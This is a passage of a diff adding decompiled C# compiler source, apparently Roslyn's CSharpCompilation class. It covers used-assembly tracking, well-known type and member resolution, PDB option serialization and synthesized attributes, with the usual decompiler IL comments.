SyntaxKind.MultiLineCommentTrivia; + return (AnalyzerDriver)(object)new AnalyzerDriver(analyzers, func, analyzerManager, severityFilter, func2); + } + + internal void SymbolDeclaredEvent(Symbol symbol) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Expected O, but got Unknown + ((Compilation)this).EventQueue?.TryEnqueue((CompilationEvent)new SymbolDeclaredCompilationEvent((Compilation)(object)this, (ISymbolInternal)(object)symbol, (SemanticModel)null)); + } + + internal override void SerializePdbEmbeddedCompilationOptions(BlobBuilder builder) + { + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + writeValue("language-version", LanguageVersion.ToDisplayString()); + if (((CompilationOptions)Options).CheckOverflow) + { + writeValue("checked", ((CompilationOptions)Options).CheckOverflow.ToString()); + } + if ((int)((CompilationOptions)Options).NullableContextOptions != 0) + { + writeValue("nullable", ((object)((CompilationOptions)Options).NullableContextOptions/*cast due to constrained. prefix*/).ToString()); + } + if (Options.AllowUnsafe) + { + writeValue("unsafe", Options.AllowUnsafe.ToString()); + } + ImmutableArray preprocessorSymbols = GetPreprocessorSymbols(); + if (preprocessorSymbols.Any()) + { + writeValue("define", string.Join(",", preprocessorSymbols)); + } + void writeValue(string key, string value) + { + builder.WriteUTF8(key); + builder.WriteByte(0); + builder.WriteUTF8(value); + builder.WriteByte(0); + } + } + + private ImmutableArray GetPreprocessorSymbols() + { + CSharpSyntaxTree cSharpSyntaxTree = (CSharpSyntaxTree)(object)SyntaxTrees.FirstOrDefault(); + if (cSharpSyntaxTree == null) + { + return ImmutableArray.Empty; + } + return ((ParseOptions)cSharpSyntaxTree.Options).PreprocessorSymbolNames.ToImmutableArray(); + } + + private protected override bool SupportsRuntimeCapabilityCore(RuntimeCapability capability) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return Assembly.SupportsRuntimeCapability(capability); + } + + public override ImmutableArray GetUsedAssemblyReferences(CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + ConcurrentSet completeSetOfUsedAssemblies = GetCompleteSetOfUsedAssemblies(cancellationToken); + if (completeSetOfUsedAssemblies == null) + { + return ImmutableArray.Empty; + } + HashSet hashSet = new HashSet((IEqualityComparer?)ReferenceEqualityComparer.Instance); + ImmutableDictionary> mergedAssemblyReferencesMap = ((CommonReferenceManager)(object)GetBoundReferenceManager()).MergedAssemblyReferencesMap; + foreach (MetadataReference reference in ((Compilation)this).References) + { + MetadataReferenceProperties properties = reference.Properties; + if ((int)((MetadataReferenceProperties)(ref properties)).Kind == 0) + { + Symbol referencedAssemblySymbol = ((CommonReferenceManager)(object)GetBoundReferenceManager()).GetReferencedAssemblySymbol(reference); + if ((object)referencedAssemblySymbol != null && completeSetOfUsedAssemblies.Contains((Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol)referencedAssemblySymbol) && hashSet.Add(reference) && mergedAssemblyReferencesMap.TryGetValue(reference, out var value)) + { + ISetExtensions.AddAll((ISet)hashSet, value); + } + } + } + ArrayBuilder instance = ArrayBuilder.GetInstance(hashSet.Count); + foreach (MetadataReference reference2 in ((Compilation)this).References) + { + if (hashSet.Contains(reference2)) + { + instance.Add(reference2); + } + } + return instance.ToImmutableAndFree(); + } + + private ConcurrentSet? GetCompleteSetOfUsedAssemblies(CancellationToken cancellationToken) + { + if (!_usedAssemblyReferencesFrozen && !Volatile.Read(in _usedAssemblyReferencesFrozen)) + { + BindingDiagnosticBag concurrentInstance = BindingDiagnosticBag.GetConcurrentInstance(); + GetDiagnosticsWithoutFiltering((CompilationStage)1, includeEarlierStages: true, concurrentInstance, cancellationToken); + bool flag = ((BindingDiagnosticBag)concurrentInstance).HasAnyErrors(); + if (!flag) + { + ((BindingDiagnosticBag)concurrentInstance).DiagnosticBag.Clear(); + GetDiagnosticsForAllMethodBodies(concurrentInstance, doLowering: true, cancellationToken); + flag = ((BindingDiagnosticBag)concurrentInstance).HasAnyErrors(); + if (!flag) + { + AddUsedAssemblies(((BindingDiagnosticBag)(object)concurrentInstance).DependenciesBag); + } + } + completeTheSetOfUsedAssemblies(flag, cancellationToken); + ((BindingDiagnosticBag)(object)concurrentInstance).Free(); + } + return _lazyUsedAssemblyReferences; + void addReferencedAssemblies(Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol assembly, bool includeMainModule, ArrayBuilder stack) + { + for (int i = ((!includeMainModule) ? 1 : 0); i < assembly.Modules.Length; i++) + { + ImmutableArray.Enumerator enumerator = assembly.Modules[i].ReferencedAssemblySymbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol current = enumerator.Current; + addUsedAssembly(current, stack); + } + } + } + void addUsedAssembly(Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol dependency, ArrayBuilder stack) + { + if (AddUsedAssembly(dependency)) + { + ArrayBuilderExtensions.Push(stack, dependency); + } + } + void completeTheSetOfUsedAssemblies(bool seenErrors, CancellationToken cancellationToken2) + { + //IL_015f: Unknown result type (might be due to invalid IL or missing references) + //IL_0164: Unknown result type (might be due to invalid IL or missing references) + if (!_usedAssemblyReferencesFrozen && !Volatile.Read(in _usedAssemblyReferencesFrozen)) + { + if (seenErrors) + { + ImmutableArray.Enumerator enumerator = SourceModule.ReferencedAssemblySymbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol current = enumerator.Current; + AddUsedAssembly(current); + } + } + else + { + for (int i = 1; i < SourceAssembly.Modules.Length; i++) + { + ImmutableArray.Enumerator enumerator = SourceAssembly.Modules[i].ReferencedAssemblySymbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol current2 = enumerator.Current; + AddUsedAssembly(current2); + } + } + if (_usedAssemblyReferencesFrozen || Volatile.Read(in _usedAssemblyReferencesFrozen)) + { + return; + } + if (_lazyUsedAssemblyReferences != null) + { + lock (_lazyUsedAssemblyReferences) + { + if (_usedAssemblyReferencesFrozen || Volatile.Read(in _usedAssemblyReferencesFrozen)) + { + return; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(_lazyUsedAssemblyReferences.Count); + instance.AddRange((IEnumerable)_lazyUsedAssemblyReferences); + while (instance.Count != 0) + { + Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol assemblySymbol = ArrayBuilderExtensions.Pop(instance); + if (!(assemblySymbol is Microsoft.CodeAnalysis.CSharp.Symbols.SourceAssemblySymbol sourceAssemblySymbol)) + { + if (assemblySymbol is RetargetingAssemblySymbol retargetingAssemblySymbol) + { + ConcurrentSet completeSetOfUsedAssemblies = retargetingAssemblySymbol.UnderlyingAssembly.DeclaringCompilation.GetCompleteSetOfUsedAssemblies(cancellationToken2); + if (completeSetOfUsedAssemblies != null) + { + ImmutableArray.Enumerator enumerator = retargetingAssemblySymbol.UnderlyingAssembly.SourceModule.ReferencedAssemblySymbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol current3 = enumerator.Current; + if (!current3.IsLinked && completeSetOfUsedAssemblies.Contains(current3)) + { + if (!((RetargetingModuleSymbol)retargetingAssemblySymbol.Modules[0]).RetargetingDefinitions(current3, out var to)) + { + to = current3; + } + addUsedAssembly(to, instance); + } + } + } + addReferencedAssemblies(retargetingAssemblySymbol, includeMainModule: false, instance); + } + else + { + addReferencedAssemblies(assemblySymbol, includeMainModule: true, instance); + } + } + else + { + ConcurrentSet completeSetOfUsedAssemblies = sourceAssemblySymbol.DeclaringCompilation.GetCompleteSetOfUsedAssemblies(cancellationToken2); + if (completeSetOfUsedAssemblies != null) + { + KeyEnumerator enumerator2 = completeSetOfUsedAssemblies.GetEnumerator(); + while (enumerator2.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol current4 = enumerator2.Current; + addUsedAssembly(current4, instance); + } + } + } + } + instance.Free(); + } + } + if ((object)SourceAssembly.CorLibrary != null) + { + AddUsedAssembly(SourceAssembly.CorLibrary); + } + } + _usedAssemblyReferencesFrozen = true; + } + } + } + + internal void AddUsedAssemblies(ICollection? assemblies) + { + if (CollectionsExtensions.IsNullOrEmpty(assemblies)) + { + return; + } + foreach (Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol assembly in assemblies) + { + AddUsedAssembly(assembly); + } + } + + internal bool AddUsedAssembly(Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol? assembly) + { + if ((object)assembly == null || assembly == SourceAssembly || assembly.IsMissing) + { + return false; + } + if (_lazyUsedAssemblyReferences == null) + { + Interlocked.CompareExchange(ref _lazyUsedAssemblyReferences, new ConcurrentSet(), null); + } + return _lazyUsedAssemblyReferences.Add(assembly); + } + + internal EmbeddableAttributes GetNeedsGeneratedAttributes() + { + _needsGeneratedAttributes_IsFrozen = true; + return (EmbeddableAttributes)_needsGeneratedAttributes; + } + + private void SetNeedsGeneratedAttributes(EmbeddableAttributes attributes) + { + ThreadSafeFlagOperations.Set(ref _needsGeneratedAttributes, (int)attributes); + } + + internal bool GetUsesNullableAttributes() + { + _needsGeneratedAttributes_IsFrozen = true; + return _usesNullableAttributes; + } + + private void SetUsesNullableAttributes() + { + _usesNullableAttributes = true; + } + + internal Symbol? GetWellKnownTypeMember(WellKnownMember member) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_00cb: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + if (((Compilation)this).IsMemberMissing(member)) + { + return null; + } + if (_lazyWellKnownTypeMembers == null || (object)_lazyWellKnownTypeMembers[member] == Microsoft.CodeAnalysis.CSharp.Symbols.ErrorTypeSymbol.UnknownResultType) + { + if (_lazyWellKnownTypeMembers == null) + { + Symbol[] array = new Symbol[506]; + for (int i = 0; i < array.Length; i++) + { + array[i] = Microsoft.CodeAnalysis.CSharp.Symbols.ErrorTypeSymbol.UnknownResultType; + } + Interlocked.CompareExchange(ref _lazyWellKnownTypeMembers, array, null); + } + MemberDescriptor descriptor = WellKnownMembers.GetDescriptor(member); + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol namedTypeSymbol = ((descriptor.DeclaringTypeId <= 46) ? GetSpecialType((SpecialType)(sbyte)descriptor.DeclaringTypeId) : GetWellKnownType((WellKnownType)descriptor.DeclaringTypeId)); + Symbol value = null; + if (!namedTypeSymbol.IsErrorType()) + { + value = GetRuntimeMember(namedTypeSymbol, in descriptor, (SignatureComparer)(object)WellKnownMemberSignatureComparer, Assembly); + } + Interlocked.CompareExchange(ref _lazyWellKnownTypeMembers[member], value, Microsoft.CodeAnalysis.CSharp.Symbols.ErrorTypeSymbol.UnknownResultType); + } + return _lazyWellKnownTypeMembers[member]; + } + + internal Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol GetWellKnownType(WellKnownType type) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Expected I4, but got Unknown + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Invalid comparison between Unknown and I4 + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + //IL_0140: Unknown result type (might be due to invalid IL or missing references) + //IL_011d: Unknown result type (might be due to invalid IL or missing references) + bool ignoreCorLibraryDuplicatedTypes = Options.TopLevelBinderFlags.Includes(BinderFlags.IgnoreCorLibraryDuplicatedTypes); + int num = type - 47; + if (_lazyWellKnownTypes == null || (object)_lazyWellKnownTypes[num] == null) + { + if (_lazyWellKnownTypes == null) + { + Interlocked.CompareExchange(ref _lazyWellKnownTypes, new Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol[275], null); + } + string metadataName = WellKnownTypes.GetMetadataName(type); + DiagnosticBag instance = DiagnosticBag.GetInstance(); + (Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol, Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol) conflicts = default((Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol, Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol)); + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol namedTypeSymbol; + if (((Compilation)this).IsTypeMissing(type)) + { + namedTypeSymbol = null; + } + else + { + DiagnosticBag warnings = (((int)type <= 252) ? instance : null); + namedTypeSymbol = Assembly.GetTypeByMetadataName(metadataName, includeReferences: true, isWellKnownType: true, out conflicts, useCLSCompliantNameArityEncoding: true, warnings, ignoreCorLibraryDuplicatedTypes); + } + if ((object)namedTypeSymbol == null) + { + MetadataTypeName fullName = MetadataTypeName.FromFullName(metadataName, true, -1); + namedTypeSymbol = ((!WellKnownTypes.IsValueTupleType(type)) ? new MissingMetadataTypeSymbol.TopLevel(Assembly.Modules[0], ref fullName, type) : new MissingMetadataTypeSymbol.TopLevel(errorInfo: (DiagnosticInfo?)(object)(((object)conflicts.Item1 != null) ? new CSDiagnosticInfo(ErrorCode.ERR_PredefinedValueTupleTypeAmbiguous3, ((MetadataTypeName)(ref fullName)).FullName, conflicts.Item1, conflicts.Item2) : new CSDiagnosticInfo(ErrorCode.ERR_PredefinedValueTupleTypeNotFound, ((MetadataTypeName)(ref fullName)).FullName)), module: Assembly.Modules[0], fullName: ref fullName, wellKnownType: type)); + } + if ((object)Interlocked.CompareExchange(ref _lazyWellKnownTypes[num], namedTypeSymbol, null) == null) + { + AdditionalCodegenWarnings.AddRange(instance); + } + instance.Free(); + } + return _lazyWellKnownTypes[num]; + } + + internal bool IsAttributeType(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + return IsEqualOrDerivedFromWellKnownClass(type, (WellKnownType)49, ref useSiteInfo); + } + + internal override bool IsAttributeType(ITypeSymbol type) + { + return IsAttributeType(type.EnsureCSharpSymbolOrNull("type")); + } + + internal bool IsExceptionType(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type, ref CompoundUseSiteInfo useSiteInfo) + { + return IsEqualOrDerivedFromWellKnownClass(type, (WellKnownType)52, ref useSiteInfo); + } + + internal bool IsReadOnlySpanType(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type) + { + return Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol.Equals(type.OriginalDefinition, GetWellKnownType((WellKnownType)276), (TypeCompareKind)0); + } + + internal bool IsEqualOrDerivedFromWellKnownClass(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type, WellKnownType wellKnownType, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + if ((int)type.Kind != 11 || (int)type.TypeKind != 2) + { + return false; + } + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol wellKnownType2 = GetWellKnownType(wellKnownType); + if (!type.Equals(wellKnownType2, (TypeCompareKind)0)) + { + return type.IsDerivedFrom(wellKnownType2, (TypeCompareKind)0, ref useSiteInfo); + } + return true; + } + + internal override bool IsSystemTypeReference(ITypeSymbolInternal type) + { + return Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol.Equals((Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol)(object)type, GetWellKnownType((WellKnownType)61), (TypeCompareKind)0); + } + + internal override ISymbolInternal? CommonGetWellKnownTypeMember(WellKnownMember member) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (ISymbolInternal?)(object)GetWellKnownTypeMember(member); + } + + internal override ITypeSymbolInternal CommonGetWellKnownType(WellKnownType wellknownType) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (ITypeSymbolInternal)(object)GetWellKnownType(wellknownType); + } + + internal static Symbol? GetRuntimeMember(Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol declaringType, in MemberDescriptor descriptor, SignatureComparer comparer, Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol? accessWithinOpt) + { + return GetRuntimeMember(declaringType.GetMembers(descriptor.Name), in descriptor, comparer, accessWithinOpt); + } + + internal static Symbol? GetRuntimeMember(ImmutableArray members, in MemberDescriptor descriptor, SignatureComparer comparer, Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol? accessWithinOpt) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Expected I4, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Invalid comparison between Unknown and I4 + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Invalid comparison between Unknown and I4 + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + //IL_00c1: Invalid comparison between Unknown and I4 + //IL_00d6: Unknown result type (might be due to invalid IL or missing references) + //IL_00d8: Invalid comparison between Unknown and I4 + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + //IL_00e0: Invalid comparison between Unknown and I4 + //IL_00f7: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + //IL_00fe: Unknown result type (might be due to invalid IL or missing references) + //IL_0101: Invalid comparison between Unknown and I4 + //IL_00e2: Unknown result type (might be due to invalid IL or missing references) + //IL_00e5: Invalid comparison between Unknown and I4 + //IL_010b: Unknown result type (might be due to invalid IL or missing references) + //IL_0103: Unknown result type (might be due to invalid IL or missing references) + //IL_0107: Invalid comparison between Unknown and I4 + //IL_0170: Unknown result type (might be due to invalid IL or missing references) + //IL_0177: Unknown result type (might be due to invalid IL or missing references) + //IL_0179: Invalid comparison between Unknown and I4 + //IL_01c2: Unknown result type (might be due to invalid IL or missing references) + //IL_011f: Unknown result type (might be due to invalid IL or missing references) + //IL_0121: Unknown result type (might be due to invalid IL or missing references) + //IL_0128: Unknown result type (might be due to invalid IL or missing references) + //IL_012f: Unknown result type (might be due to invalid IL or missing references) + //IL_0131: Invalid comparison between Unknown and I4 + MethodKind val = (MethodKind)10; + bool flag = (descriptor.Flags & 0x20) > 0; + Symbol symbol = null; + MemberFlags val2 = (MemberFlags)(descriptor.Flags & 0x1F); + SymbolKind val3; + switch (val2 - 1) + { + default: + if ((int)val2 != 8) + { + if ((int)val2 != 16) + { + goto case 2; + } + val3 = (SymbolKind)15; + break; + } + val3 = (SymbolKind)9; + val = (MethodKind)11; + break; + case 3: + val3 = (SymbolKind)9; + val = (MethodKind)1; + break; + case 0: + val3 = (SymbolKind)9; + break; + case 1: + val3 = (SymbolKind)6; + break; + case 2: + throw ExceptionUtilities.UnexpectedValue((object)descriptor.Flags); + } + ImmutableArray.Enumerator enumerator = members.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (!current.Name.Equals(descriptor.Name) || current.Kind != val3 || current.IsStatic != flag || ((int)current.DeclaredAccessibility != 6 && ((object)accessWithinOpt == null || !Symbol.IsSymbolAccessible(current, accessWithinOpt)))) + { + continue; + } + if ((int)val3 != 6) + { + if ((int)val3 != 9) + { + if ((int)val3 != 15) + { + throw ExceptionUtilities.UnexpectedValue((object)val3); + } + Microsoft.CodeAnalysis.CSharp.Symbols.PropertySymbol propertySymbol = (Microsoft.CodeAnalysis.CSharp.Symbols.PropertySymbol)current; + if ((descriptor.Flags & 0x40) > 0 != (propertySymbol.IsVirtual || propertySymbol.IsOverride || propertySymbol.IsAbstract) || !comparer.MatchPropertySignature(propertySymbol, descriptor.Signature)) + { + continue; + } + } + else + { + Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol methodSymbol = (Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol)current; + MethodKind val4 = methodSymbol.MethodKind; + if ((int)val4 == 2 || (int)val4 == 9) + { + val4 = (MethodKind)10; + } + if (methodSymbol.Arity != descriptor.Arity || val4 != val || (descriptor.Flags & 0x40) > 0 != (methodSymbol.IsVirtual || methodSymbol.IsOverride || methodSymbol.IsAbstract) || !comparer.MatchMethodSignature(methodSymbol, descriptor.Signature)) + { + continue; + } + } + } + else if (!comparer.MatchFieldSignature((Microsoft.CodeAnalysis.CSharp.Symbols.FieldSymbol)current, descriptor.Signature)) + { + continue; + } + if ((object)symbol != null) + { + symbol = null; + break; + } + symbol = current; + } + return symbol; + } + + internal SynthesizedAttributeData? TrySynthesizeAttribute(WellKnownMember constructor, ImmutableArray arguments = default(ImmutableArray), ImmutableArray> namedArguments = default(ImmutableArray>), bool isOptionalUse = false) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + UseSiteInfo useSiteInfo; + Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol methodSymbol = (Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol)Binder.GetWellKnownTypeMember(this, constructor, out useSiteInfo, isOptional: true); + if ((object)methodSymbol == null) + { + return null; + } + if (arguments.IsDefault) + { + arguments = ImmutableArray.Empty; + } + ImmutableArray> namedArguments2; + if (namedArguments.IsDefault) + { + namedArguments2 = ImmutableArray>.Empty; + } + else + { + ArrayBuilder> val = new ArrayBuilder>(namedArguments.Length); + ImmutableArray>.Enumerator enumerator = namedArguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + Symbol wellKnownTypeMember = Binder.GetWellKnownTypeMember(this, current.Key, out useSiteInfo, isOptional: true); + if (wellKnownTypeMember == null || wellKnownTypeMember is Microsoft.CodeAnalysis.CSharp.Symbols.ErrorTypeSymbol) + { + return null; + } + val.Add(new KeyValuePair(wellKnownTypeMember.Name, current.Value)); + } + namedArguments2 = val.ToImmutableAndFree(); + } + return new SynthesizedAttributeData(methodSymbol, arguments, namedArguments2); + } + + internal SynthesizedAttributeData? TrySynthesizeAttribute(SpecialMember constructor, bool isOptionalUse = false) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol methodSymbol = (Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol)GetSpecialTypeMember(constructor); + if ((object)methodSymbol == null) + { + return null; + } + return new SynthesizedAttributeData(methodSymbol, ImmutableArray.Empty, ImmutableArray>.Empty); + } + + internal SynthesizedAttributeData? SynthesizeDecimalConstantAttribute(decimal value) + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + bool flag = default(bool); + byte b = default(byte); + uint num = default(uint); + uint num2 = default(uint); + uint num3 = default(uint); + DecimalUtilities.GetBits(value, ref flag, ref b, ref num, ref num2, ref num3); + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol specialType = GetSpecialType((SpecialType)10); + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol specialType2 = GetSpecialType((SpecialType)14); + return TrySynthesizeAttribute((WellKnownMember)109, ImmutableArray.Create((TypedConstant[]?)(object)new TypedConstant[5] + { + new TypedConstant((ITypeSymbolInternal)(object)specialType, (TypedConstantKind)1, (object)b), + new TypedConstant((ITypeSymbolInternal)(object)specialType, (TypedConstantKind)1, (object)(byte)(flag ? 128u : 0u)), + new TypedConstant((ITypeSymbolInternal)(object)specialType2, (TypedConstantKind)1, (object)num3), + new TypedConstant((ITypeSymbolInternal)(object)specialType2, (TypedConstantKind)1, (object)num2), + new TypedConstant((ITypeSymbolInternal)(object)specialType2, (TypedConstantKind)1, (object)num) + })); + } + + internal SynthesizedAttributeData? SynthesizeDateTimeConstantAttribute(DateTime value) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + TypedConstant item = default(TypedConstant); + ((TypedConstant)(ref item))._002Ector((ITypeSymbolInternal)(object)GetSpecialType((SpecialType)15), (TypedConstantKind)1, (object)value.Ticks); + return TrySynthesizeAttribute((WellKnownMember)108, ImmutableArray.Create(item)); + } + + internal SynthesizedAttributeData? SynthesizeDebuggerBrowsableNeverAttribute() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + if ((int)((CompilationOptions)Options).OptimizationLevel != 0) + { + return null; + } + return TrySynthesizeAttribute((WellKnownMember)71, ImmutableArray.Create(new TypedConstant((ITypeSymbolInternal)(object)GetWellKnownType((WellKnownType)197), (TypedConstantKind)2, (object)DebuggerBrowsableState.Never))); + } + + internal SynthesizedAttributeData? SynthesizeDebuggerStepThroughAttribute() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + if ((int)((CompilationOptions)Options).OptimizationLevel != 0) + { + return null; + } + return TrySynthesizeAttribute((WellKnownMember)72); + } + + private void EnsureEmbeddableAttributeExists(EmbeddableAttributes attribute, BindingDiagnosticBag? diagnostics, Location location, bool modifyCompilation) + { + if (CheckIfAttributeShouldBeEmbedded(attribute, diagnostics, location) && modifyCompilation) + { + SetNeedsGeneratedAttributes(attribute); + } + if ((attribute & (EmbeddableAttributes.NullableAttribute | EmbeddableAttributes.NullableContextAttribute)) != 0 && modifyCompilation) + { + SetUsesNullableAttributes(); + } + } + + internal void EnsureIsReadOnlyAttributeExists(BindingDiagnosticBag? diagnostics, Location location, bool modifyCompilation) + { + EnsureEmbeddableAttributeExists(EmbeddableAttributes.IsReadOnlyAttribute, diagnostics, location, modifyCompilation); + } + + internal void EnsureRequiresLocationAttributeExists(BindingDiagnosticBag? diagnostics, Location location, bool modifyCompilation) + { + EnsureEmbeddableAttributeExists(EmbeddableAttributes.RequiresLocationAttribute, diagnostics, location, modifyCompilation); + } + + internal void EnsureIsByRefLikeAttributeExists(BindingDiagnosticBag? diagnostics, Location location, bool modifyCompilation) + { + EnsureEmbeddableAttributeExists(EmbeddableAttributes.IsByRefLikeAttribute, diagnostics, location, modifyCompilation); + } + + internal void EnsureIsUnmanagedAttributeExists(BindingDiagnosticBag? diagnostics, Location location, bool modifyCompilation) + { + EnsureEmbeddableAttributeExists(EmbeddableAttributes.IsUnmanagedAttribute, diagnostics, location, modifyCompilation); + } + + internal void EnsureNullableAttributeExists(BindingDiagnosticBag? diagnostics, Location location, bool modifyCompilation) + { + EnsureEmbeddableAttributeExists(EmbeddableAttributes.NullableAttribute, diagnostics, location, modifyCompilation); + } + + internal void EnsureNullableContextAttributeExists(BindingDiagnosticBag? diagnostics, Location location, bool modifyCompilation) + { + EnsureEmbeddableAttributeExists(EmbeddableAttributes.NullableContextAttribute, diagnostics, location, modifyCompilation); + } + + internal void EnsureNativeIntegerAttributeExists(BindingDiagnosticBag? diagnostics, Location location, bool modifyCompilation) + { + EnsureEmbeddableAttributeExists(EmbeddableAttributes.NativeIntegerAttribute, diagnostics, location, modifyCompilation); + } + + internal void EnsureScopedRefAttributeExists(BindingDiagnosticBag? diagnostics, Location location, bool modifyCompilation) + { + EnsureEmbeddableAttributeExists(EmbeddableAttributes.ScopedRefAttribute, diagnostics, location, modifyCompilation); + } + + internal bool 